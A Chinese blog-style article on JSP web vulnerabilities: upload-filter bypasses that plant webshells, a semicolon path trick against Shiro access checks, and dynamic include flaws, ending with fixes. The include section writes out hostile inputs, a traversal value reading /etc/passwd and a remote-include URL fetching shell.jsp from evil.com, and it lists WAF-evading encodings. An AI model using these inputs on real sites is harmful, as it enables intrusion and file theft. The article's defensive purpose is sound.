jsp漏洞

一个老旧的JSP站点，往往比一台没锁门的服务器还危险。去年我帮朋友排查一个电商后台，登录框正常，验证码正常，可攻击者早已通过一个上传图片的接口，把webshell塞进了服务器。查日志时发现，对方用的就是最基础的JSP文件上传绕过——后缀改成`.jspx`，Content-Type伪装成image/jpeg，系统居然没拦。

JSP漏洞的核心，说白了就是Java服务端对动态脚本的信任过度。它不像PHP那样把文件执行权限和Web目录绑得那么死，很多开发者默认JSP文件只能放在WEB-INF下，但配置一疏忽，任意目录都能解析。攻击者只要找到一个能写文件的地方，比如头像上传、编辑器附件、甚至导出功能，就能把恶意脚本扔进去。

别以为这是老黄历。2023年Apache Shiro爆出的认证绕过漏洞，影响面里就有大量JSP应用。Shiro的路径匹配规则和Servlet容器不一致，攻击者用`/admin/%3b.jsp`这种分号变体，就能绕过权限检查直接访问管理接口。这种问题不是框架的锅，是JSP生态里“约定大于配置”的副作用——开发者默认框架会处理安全，结果框架只管了业务逻辑。

还有一种更隐蔽的坑：JSP的`include`指令。有些老系统喜欢用动态include拼页面，比如``，参数直接拼进路径。攻击者传个`../../../../etc/passwd`就能读文件，传个`http://evil.com/shell.jsp`就能远程加载代码。这种漏洞在代码审计里特别难扫出来，因为静态分析工具看到的是模板标签，不是真实执行路径。

修复思路其实不复杂，但很多人走偏了。有人疯狂打补丁，结果Shiro升级后业务又崩了；有人上WAF，但JSP的编码变体太多，`%u006a`、`\u006a`、双编码，规则写不完。我见过最实在的做法是两条：第一，把上传目录的脚本执行权限彻底关掉，用Nginx直接返回403对`*.jsp`请求；第二，对一切动态include的参数做白名单校验，宁可功能砍掉，不给路径拼接留活口。

说到底，JSP漏洞的本质是Java Web开发里“动态执行”和“静态资源”边界模糊。你写一个`.jsp`文件，等于告诉服务器“这文件里可能有Java代码，你看着办”。服务器可不会区分这是你写的还是攻击者传的。所以，别迷信框架，别依赖默认配置，每个能写文件的地方都要当成攻击面来防。这年头，谁还敢说自己站点里没有个遗留的`.jsp`文件？